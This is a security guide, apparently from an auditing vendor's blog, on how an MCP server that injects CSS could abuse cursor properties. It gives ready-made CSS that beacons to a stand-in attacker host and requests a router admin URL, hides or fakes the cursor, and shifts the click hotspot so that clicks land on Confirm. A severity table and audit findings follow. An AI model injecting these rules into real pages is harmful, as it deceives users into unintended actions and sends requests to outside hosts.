Security Guide

MCP server CSS cursor security — cursor:url() SSRF, cursor:none visibility removal, deceptive cursor hotspot shift, cursor:default hover feedback removal

CSS cursor properties (Chrome 1+, Firefox 1.5+, Safari 1.2+) control the shape and appearance of the mouse cursor when hovering over page elements. For MCP servers with CSS injection capability, these properties create four attack surfaces: triggering server-side request forgery via a custom cursor image URL, hiding the visible cursor entirely to prevent users from seeing where they will click, shifting the click hotspot of a deceptive custom cursor image so clicks land on unintended elements, and stripping hover state cursor changes from all interactive elements so they appear to be non-interactive content.

CSS cursor — property overview

The cursor property accepts keyword values (pointer, text, grab, none, etc.) and a url() function referencing a custom cursor image (must be ≤128×128 pixels in most browsers). Custom cursor images can specify a hotspot — the x,y coordinates within the image that define the effective click point, independent of the visual centre of the cursor graphic. The cursor property on a parent element is inherited by child elements unless overridden. For MCP servers, the custom cursor URL fetch and the hotspot offset mechanism are the primary attack vectors.

Attack 1: cursor:url() — SSRF via cursor image fetch

When cursor includes a url() value, the browser fetches the referenced image to render the custom cursor. The fetch is unconditional — it fires as soon as the rule is applied to an element the user's cursor enters, regardless of whether the image is within the allowed dimensions for a custom cursor. This is the same no-cors credential-carrying fetch class as shape-outside:url(), list-style-image:url(), and mask-image:url():

/* MCP server: inject cursor:url() to trigger SSRF on cursor hover */
body, * {
  cursor: url('https://attacker.example.com/cursor.png'), auto !important;
  /* Effect:
     - When any element on the page is entered by the mouse cursor,
       the browser fetches attacker.example.com/cursor.png
     - The request is a no-cors GET — no CORS preflight, carries page cookies
       for same-origin requests, and is not blocked by connect-src CSP
     - Only img-src (or default-src) CSP restricts this fetch
     - The fetch fires once per CSS rule application context (per element type),
       potentially sending multiple requests across different cursor contexts

     The cursor image must be ≤128×128px to actually RENDER as the cursor.
     But the NETWORK REQUEST is made unconditionally regardless of image dimensions.
     An MCP server can reference a 1000×1000px image — it will fail to render
     as a cursor but the HTTP request to the attacker URL is made successfully.

     Targeted variant for SSRF to internal services:
     * { cursor: url('http://192.168.1.1/admin'), auto !important; }
     Triggers a GET request to the local router admin page with the victim's
     cookies on their local network, from the victim's browser.

     High-frequency variant: cursor on pseudo-elements
     *::before, *::after { cursor: url('https://beacon.example.com/t'), auto; }
     May trigger multiple requests per page load as pseudo-elements are processed. */
}

Same SSRF class as shape-outside:url(). The cursor:url() fetch, shape-outside:url(), list-style-image:url(), mask-image:url(), and background-image:url() all share the same no-cors CSS fetch mechanism — none are blocked by connect-src CSP, all fall under img-src or default-src. A host that restricts connect-src 'self' but allows img-src * is fully vulnerable to this entire class of SSRF.

Attack 2: cursor:none — visible cursor removal

cursor:none hides the mouse cursor entirely within the element's boundary. Applied to the body or html element, it removes the visible cursor across the entire page. Users cannot see where the cursor is positioned, which elements they are about to click, or what state the cursor has changed to on hover:

/* MCP server: remove the visible cursor across the entire page */
html, body {
  cursor: none !important;
}

/* Effect:
   - The cursor becomes invisible as soon as it enters the browser window
   - Mouse movement, hover states, and click targets all continue to function
     normally — the cursor is only visually hidden
   - Users who rely on visual cursor feedback for precise clicking (elderly users,
     users with motor tremors or trackpad-only laptops) cannot determine
     which element they are about to activate
   - On click-dense UIs (navigation menus, data tables, form fields), the
     invisible cursor makes accurate targeting extremely difficult

   Selective variant — hide cursor only near sensitive UI:
   .payment-form *, .confirm-dialog *, .permission-modal * {
     cursor: none !important;
   }
   Cursor disappears when the user moves toward payment fields or confirms.
   User must click blindly, increasing the probability of clicking the wrong button.

   Deceptive variant — show a fake static cursor image that does not move:
   @keyframes stay-still { from { transform: none; } to { transform: none; } }
   body::before {
     content: '';
     position: fixed;
     width: 20px; height: 20px;
     background: url('/cursor-arrow.svg') no-repeat center;
     top: 50%; left: 50%; /* fixed position, not tracking real cursor */
     pointer-events: none;
     z-index: 9999;
   }
   body { cursor: none !important; }
   Renders a static cursor image at center-screen while the real cursor is
   hidden — user believes cursor is at center regardless of actual position. */

Attack 3: Deceptive custom cursor — hotspot offset shift

Custom cursor images specified via cursor:url() include an optional hotspot x,y coordinate that defines the actual click point within the cursor image. The visual arrow graphic can be placed at any position within the image, while the hotspot defines where clicks register — allowing an attacker to create a cursor that appears to point at one location while clicking a different location on the page:

/* MCP server: inject a custom cursor with a misaligned hotspot */

/* The cursor: url() syntax with hotspot is:
   cursor: url('cursor.cur') x y, fallback;
   Where x,y is the hotspot position in pixels within the cursor image. */

body {
  /* Standard-looking arrow cursor pointing UP-LEFT from hotspot */
  cursor: url('https://attacker.example.com/shifted-cursor.cur') 20 20, auto !important;
  /* If the image is 40×40px showing an arrow pointing to position 0,0 (top-left corner):
     The visual cursor tip appears at top-left of the image.
     But hotspot is declared as (20,20) — the center.
     So when the user visually aligns the cursor tip with a button,
     the actual click registers 20px right and 20px below the visual tip.

     Attack scenario for a confirmation dialog:
     - "Yes, I Confirm" button is at coordinates (300, 200)
     - "Cancel" button is at coordinates (300, 240)
     - User visually positions cursor on "Cancel" — tip appears on Cancel label
     - Actual click hotspot is 20px below visual tip — clicks (300, 260)
     - If there is a non-visible element at (300, 260) that completes the action,
       the cancel button is visually targeted but the action proceeds

     More subtle: shift cursor right by exactly one button-width so user who
     aims at "Cancel" clicks "Confirm" instead.
     cursor: url('cancel-lookalike.cur') 80 10, auto !important;
     — where 80 is enough horizontal offset to cross to the sibling button.

   Note: cursor images must be ≤128×128px on most browsers. Custom cursor
   images from url() DO need to be fetched successfully to render — but
   the attacker controls the image content entirely. */
}

/* Combined SSRF + deceptive cursor:
   Use the SSRF fetch to beacon cursor render event, while the rendered
   deceptive cursor shifts click targets on the same page. */

Clipboard and drag targets affected too. The cursor hotspot also affects drag-and-drop operations — if the user drags a file or a DOM element, the drop target is determined by the hotspot position, not the visual cursor tip. A shifted hotspot can cause files dragged to a visible upload zone to be "dropped" on an adjacent element outside the upload zone.

Attack 4: cursor:default — interactive element hover feedback removal

Browsers change the cursor to pointer (a pointing hand) when hovering over links, buttons, and other interactive elements — providing visual affordance that the element is clickable. Setting cursor:default !important on all interactive elements removes this affordance, making clickable elements appear as non-interactive static content:

/* MCP server: strip hover cursor feedback from all interactive elements */
a, button, [role="button"], [role="link"],
input[type="submit"], input[type="button"], input[type="checkbox"],
input[type="radio"], select, summary, label,
[onclick], [data-action], [data-href], [tabindex="0"] {
  cursor: default !important;
}

/* Effect:
   - Hovering over any link, button, or interactive control shows the arrow cursor
     (same as hovering over non-interactive text or whitespace)
   - Users who rely on cursor shape changes to discover interactive elements
     cannot distinguish buttons from headings, links from paragraphs, or
     interactive controls from decorative elements
   - On dense UIs with many interactive elements, the lack of cursor affordance
     causes users to miss clickable actions and skip interactive content

   High-impact on:
   - Call-to-action buttons with custom styling that blends with background
   - Inline text links that don't have underlines (modern design trend)
   - Card components where the entire card is a click target but has no border
   - Icon-only buttons where the icon is the only affordance

   Selective variant — only remove cursor feedback from security-critical buttons:
   button.cancel-subscription, button.revoke-access, button.delete-account {
     cursor: default !important;
   }
   Users become uncertain whether these buttons are functional,
   reducing accidental clicks — but also reducing intentional safety actions.

   Combined with text-decoration:none on links:
   a { text-decoration: none !important; cursor: default !important; }
   Links become completely visually indistinguishable from surrounding text
   without hovering (no underline) and without cursor change (same arrow).
   Users must guess which text is linkable. */
AttackPrerequisiteWhat it enablesSeverity
cursor:url() SSRF via cursor image fetchCSS injection + img-src CSP not restricted to selfBrowser makes credential-carrying no-cors network request to attacker-controlled URL to fetch the custom cursor image — SSRF that bypasses connect-src CSP and CORS preflight, fires on cursor entry to any covered elementHIGH
cursor:none visible cursor removalCSS injection on body/htmlRemoves visible mouse cursor across the entire page — users cannot see cursor position or hover state, making precise clicking on dense UIs (payment forms, confirmation dialogs) extremely difficultMEDIUM
Deceptive cursor hotspot offset shiftCSS injection + ability to serve custom cursor imageShifts effective click point away from visual cursor tip by any number of pixels — user aims at Cancel button but click registers on Confirm, or aims at one form field but activates an adjacent oneMEDIUM
cursor:default on interactive elementsCSS injection on interactive element selectorsRemoves pointer cursor affordance from all links, buttons, and interactive controls — elements appear non-interactive, users miss clickable actions and cannot distinguish links from static textLOW

Defences

SkillAudit findings for this attack surface

HIGHcursor:url() SSRF via cursor image fetch: MCP server sets cursor:url(external-url) on broad element selectors — browser fetches the external URL to render the custom cursor on hover, making a credential-carrying no-cors request that bypasses connect-src CSP and CORS preflight, appearing as an image fetch in the CSS waterfall
MEDIUMcursor:none global cursor visibility removal: MCP server applies cursor:none to body or html — removes the visible mouse cursor across the entire page, making precise clicking on payment forms, confirmation dialogs, and dense UI impossible for users who rely on cursor position feedback
MEDIUMDeceptive custom cursor hotspot offset: MCP server injects cursor:url() with a misaligned hotspot (x,y offset from cursor image tip) — user visually targets Cancel or Deny but effective click coordinates register on an adjacent Confirm or Allow element offset by the hotspot delta
LOWcursor:default on interactive elements removes hover affordance: MCP server overrides cursor to default on all links, buttons, and interactive controls — removes pointer cursor shape changes on hover, making all interactive elements visually indistinguishable from static content when hovered

Related: CSS pointer-events security covers in-page clickjacking without cursor modification. CSS shapes security and CSS list-style security cover the same class of url() SSRF via other CSS properties. CSP deep dive explains why img-src is the correct directive to restrict this attack class.

← Blog  |  Security Checklist